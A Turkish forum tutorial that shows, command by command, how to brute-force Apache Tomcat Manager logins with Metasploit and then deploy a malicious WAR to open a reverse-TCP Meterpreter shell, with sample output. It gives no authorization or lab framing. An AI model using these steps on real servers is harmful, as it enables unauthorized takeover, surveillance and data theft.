Hoşgeldin Misafir

Metasploit Kullanarak Tomcat Zafiyeti İstismarı

Mustafa73

20 Eyl 2023
423 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Tomcat, Java Servlet, JavaServer Pages, Java Expression Language ve Java WebSocket teknolojilerini destekleyen bir web sunucusu ve servlet konteyneridir. Tomcat, web uygulamalarını çalıştırmak için kullanılabilir, ancak aynı zamanda yönetici arayüzüne erişim sağlayan bir yönetici uygulaması da içerir. Bu uygulama, web uygulamalarını yüklemek, kaldırmak, yeniden başlatmak veya durdurmak gibi işlemleri yapmaya olanak tanır.
Tomcat yönetici uygulamasına erişmek için bir kullanıcı adı ve parola gereklidir. Bu bilgiler, tomcat-users.xml dosyasında tanımlanır. Ancak, bazı durumlarda, bu dosyada varsayılan veya zayıf kimlik bilgileri bırakılabilir. Bu da, bir saldırganın yönetici uygulamasını ele geçirmesine ve web sunucusuna zararlı web uygulamaları yüklemesine olanak tanır.
Metasploit, bir güvenlik aracıdır. Metasploit, çeşitli zafiyetleri tespit etmek, istismar etmek ve sonuçlarını raporlamak için kullanılabilir. Metasploit, tomcat_mgr_login ve tomcat_mgr_deploy adında iki modül içerir. Bu modüller, Tomcat yönetici uygulamasını istismar etmek için kullanılabilir .
Kali Linux, bir penetrasyon testi ve etik hackleme Linux dağıtımıdır. Kali Linux, Metasploit gibi çeşitli güvenlik araçlarını içerir. Kali Linux, Tomcat zafiyeti istismarını gerçekleştirmek için kullanılabilir.
Tomcat zafiyeti istismarı için aşağıdaki adımları izleyebilirsiniz:

1. Adım: Hedef sistemin IP adresini ve Tomcat yönetici uygulamasının çalıştığı portu belirleyin. Bu bilgileri, nmap gibi bir port tarama aracı ile elde edebilirsiniz. Örneğin, hedef sistemin IP adresi 192.168.1.100 ve Tomcat yönetici uygulamasının çalıştığı port 8080 olsun.
2. Adım: Metasploit'i başlatın ve tomcat_mgr_login modülünü kullanın. Bu modül, Tomcat yönetici uygulamasına giriş yapmak için kullanıcı adı ve parola denemeleri yapar. Modülü kullanmak için aşağıdaki komutları girin:
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
Bu komut, modülün seçeneklerini gösterir. Bu seçeneklerden bazılarını, hedef sisteme uygun olarak ayarlamamız gerekiyor. Örneğin, RHOSTS seçeneğini hedef sistemin IP adresine, RPORT seçeneğini Tomcat yönetici uygulamasının çalıştığı porta, USER_FILE ve PASS_FILE seçeneklerini kullanıcı adı ve parola listelerinin bulunduğu dosya yollarına ayarlayalım. Bu seçenekleri ayarlamak için aşağıdaki komutları girin:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
RPORT => 8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE /usr/share/wordlists/metasploit/http_default_users.txt
USER_FILE => /usr/share/wordlists/metasploit/http_default_users.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE /usr/share/wordlists/metasploit/http_default_pass.txt
PASS_FILE => /usr/share/wordlists/metasploit/http_default_pass.txt
Bu seçenekleri ayarladıktan sonra, modülü çalıştırmak için aşağıdaki komutu girin:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
Bu komut, modülü çalıştırır ve kullanıcı adı ve parola listelerindeki tüm kombinasyonları deneyerek Tomcat yönetici uygulamasına giriş yapmaya çalışır. Eğer başarılı bir giriş yapılırsa, modül bunu ekrana yazar. Örneğin, kullanıcı adı admin ve parola admin olan bir giriş başarılı olsun. Modül, aşağıdaki çıktıyı verir:
[+] 192.168.1.100:8080 - Success: 'admin:admin' 'Tomcat Manager Application'
Bu çıktı, kullanıcı adı admin ve parola admin olan bir girişin başarılı olduğunu ve Tomcat yönetici uygulamasına erişildiğini gösterir. Bu bilgileri, bir sonraki adımda kullanacağız.

3. Adım: Metasploit'te tomcat_mgr_deploy modülünü kullanın. Bu modül, Tomcat yönetici uygulamasını kullanarak hedef sisteme zararlı bir web uygulaması yükler. Bu web uygulaması, hedef sisteme bir meterpreter oturumu açar. Meterpreter, Metasploit'in gelişmiş bir payload'ıdır. Meterpreter, hedef sisteme uzaktan komut çalıştırmak, dosya yönetimi yapmak, ekran görüntüsü almak, klavye tuşlarını kaydetmek, web kamerasına erişmek gibi işlemleri yapmaya olanak tanır. Modülü kullanmak için aşağıdaki komutları girin:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
msf6 exploit(multi/http/tomcat_mgr_deploy) > show options
Bu komut, modülün seçeneklerini gösterir. Bu seçeneklerden bazılarını, hedef sisteme ve önceki adımda elde ettiğimiz bilgilere uygun olarak ayarlamamız gerekiyor. Örneğin, RHOSTS seçeneğini hedef sistemin IP adresine, RPORT seçeneğini Tomcat yönetici uygulamasının çalıştığı porta, HttpUsername ve HttpPassword seçeneklerini Tomcat yönetici uygulamasına giriş yapmak için kullandığımız kullanıcı adı ve parolaya, TARGET seçeneğini hedef sistemin işletim sistemine uygun bir değere ayarlayalım. Bu seçenekleri ayarlamak için aşağıdaki komutları girin:
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername admin
HttpUsername => admin
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword admin
HttpPassword => admin
msf6 exploit(multi/http/tomcat_mgr_deploy) > set TARGET 1
TARGET => 1
Bu seçenekleri ayarladıktan sonra, modülü çalıştırmak için aşağıdaki komutu girin:
msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit
Bu komut, modülü çalıştırır ve hedef sisteme zararlı bir web uygulaması yükler. Eğer başarılı olursa, modül bunu ekrana yazar ve hedef sisteme bir meterpreter oturumu açar. Örneğin, aşağıdaki çıktıyı verir.
[*] Started reverse TCP handler on 192.168.1.101:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying 1fJ0...
[*] Executing 1fJ0...
[*] Sending stage (985320 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.100:49159) at 2024-01-26 08:53:11 +0300